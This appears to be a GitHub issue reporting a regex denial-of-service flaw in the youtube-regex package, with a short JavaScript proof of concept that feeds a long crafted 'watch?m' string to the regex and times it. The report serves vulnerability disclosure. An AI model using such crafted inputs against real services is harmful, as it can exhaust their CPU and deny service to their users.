

regexhq / youtube-regex Public[Code](#) [Issues 8](#) [Pull requests 1](#) [Actions](#) [Projects](#) [Wiki](#) [Security](#)[New issue](#)

# Potential Regex Denial of Service #14

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The regex on line 11. in index.js contains a Regex denial of service when large input is provided. It takes longer amount of time to process larger strings because regex will try to backtrack each time it encounters watch?-.

Poc:

```
var youtubeRegex = require('youtube-regex');
const startTime = performance.now()
let payload = 'youtube.com/' + 'watch?m'.repeat(30000) + '\t'
// contains youtube url address
//youtubeRegex().test('unicorn youtube.com/watch?v=0EWbonj7f18');
youtubeRegex().test(payload);
const endTime = performance.now()
console.log(`Time spent: ${endTime - startTime} milliseconds`)
```



Time spent: 2346.4928520000003 milliseconds

Compared to a smaller payload:

Time spent: 1124.684798 milliseconds

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## Metadata

### Assignees

No one assigned

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**Labels**

No labels

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**Type**

No type

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**Projects**

No projects

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**Milestone**

No milestone

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**Relationships**

None yet

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**Development**

No branches or pull requests

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**Participants**

